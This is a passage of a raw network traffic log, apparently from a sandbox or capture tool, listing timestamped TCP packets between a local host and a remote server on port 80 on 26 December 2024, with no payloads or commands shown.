Dec 26, 2024 12:05:15.223798990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.223845959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.224735975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.224880934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.225011110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.225054026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.225754023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.225814104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.225910902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.225951910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.226778030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.226880074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.226928949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.227840900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.227884054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.227953911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.227998972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.228844881 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.228888988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.228926897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.228960991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.229835033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.229897022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.229938984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.229983091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.230875015 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.230926991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.231020927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.231065989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.231988907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.232039928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.232052088 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.232095003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.232948065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.233006954 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.233041048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.233088017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.234035969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.234088898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.234122038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.234163046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.234965086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.235057116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.235109091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.236083984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.236141920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.236290932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.236335039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.237020969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.237068892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.237108946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.237190008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.238044977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.238148928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.238174915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.238176107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.239092112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.239175081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.239223957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.240130901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.240183115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.240309000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.240360022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.241185904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.241206884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.241230965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.241255999 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.242158890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.242336988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.242389917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.243181944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.243231058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.243248940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.243290901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.244256973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.244303942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.244376898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.244416952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.245243073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.245295048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.245331049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.245369911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.246268034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.246331930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.246427059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.247356892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.247407913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.247497082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.247543097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.248414040 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.248434067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.248466015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.248495102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.249325991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.249444008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.249507904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.249578953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.250375986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.250461102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.250508070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.251511097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.251562119 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.251662970 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.251709938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.252516985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.252564907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.252598047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.252708912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.252975941 CET	80	49713	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.253456116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.253504992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.253536940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.253607035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.254451990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.254502058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.256006002 CET	49715	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.375565052 CET	80	49715	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.375824928 CET	49715	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.375942945 CET	49715	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.411829948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.411881924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.411900997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.411927938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.412271023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.412318945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.412431955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.412477970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.412565947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.412611008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.413470984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.413520098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.413599014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.413644075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.414493084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.414537907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.414648056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.414693117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.415533066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.415580988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.415621996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.415671110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.416593075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.416639090 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.416675091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.416719913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.417618036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.417665005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.417701960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.417747021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.418663979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.418710947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.418737888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.418783903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.419723988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.419773102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.419781923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.419826984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.420748949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.420794010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.420809031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.420855045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.421678066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.421725035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.421762943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.421813965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.422749043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.422797918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.422908068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.422957897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.423724890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.423778057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.423814058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.423860073 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.424757957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.424803019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.424844027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.424890041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.425769091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.425816059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.425864935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.425914049 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.426820040 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.426867008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.426898956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.426970005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.427835941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.427889109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.427947044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.427990913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.428863049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.428908110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.428956032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.429001093 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.429884911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.429932117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.429969072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.430012941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.430900097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.430948019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.430984020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.431024075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.432153940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.432178020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.432198048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.432223082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.432965994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.432986021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.433012009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.433026075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.434060097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.434130907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.434144020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.434197903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.434998035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.435040951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.435096979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.435136080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.436157942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.436201096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.436230898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.436275005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.437218904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.437231064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.437266111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.438236952 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.438261986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.438313007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.439122915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.439177036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.439219952 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.439256907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.440131903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.440175056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.440244913 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.440288067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.441138029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.441180944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.441214085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.441253901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.442163944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.442286015 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.442329884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.443183899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.443228006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.443301916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.443357944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.444236994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.444287062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.444312096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.444358110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.445230961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.445272923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.445352077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.445395947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.446243048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.446290970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.446469069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.446511984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.447318077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.447366953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.447396994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.447439909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.448344946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.448391914 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.448436975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.449361086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.449404955 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.449443102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.449487925 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.450376034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.450421095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.450480938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.450525045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.451711893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.451841116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.451886892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.452550888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.452572107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.452599049 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.452629089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.453510046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.453582048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.453589916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.453627110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.454499960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.454616070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.454670906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.455487013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.455534935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.455619097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.455662966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.457037926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.457082987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.457175016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.457221031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.458121061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.458244085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.458295107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.458955050 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.459002018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.459005117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.459044933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.459698915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.459757090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.459758997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.459806919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.460598946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.460649967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.460803986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.460850954 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.461639881 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.461688042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.461724043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.461769104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.462791920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.462836981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.462897062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.462941885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.463691950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.463741064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.463741064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.463792086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.464693069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.464735031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.464766026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.464806080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.495620966 CET	80	49715	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.622538090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.622638941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.622705936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.622940063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.623039007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.623111963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.623188972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.623956919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.624003887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.624074936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.624120951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.624973059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.625085115 CET	49708	80	192.168.2.5	185.81.68.147
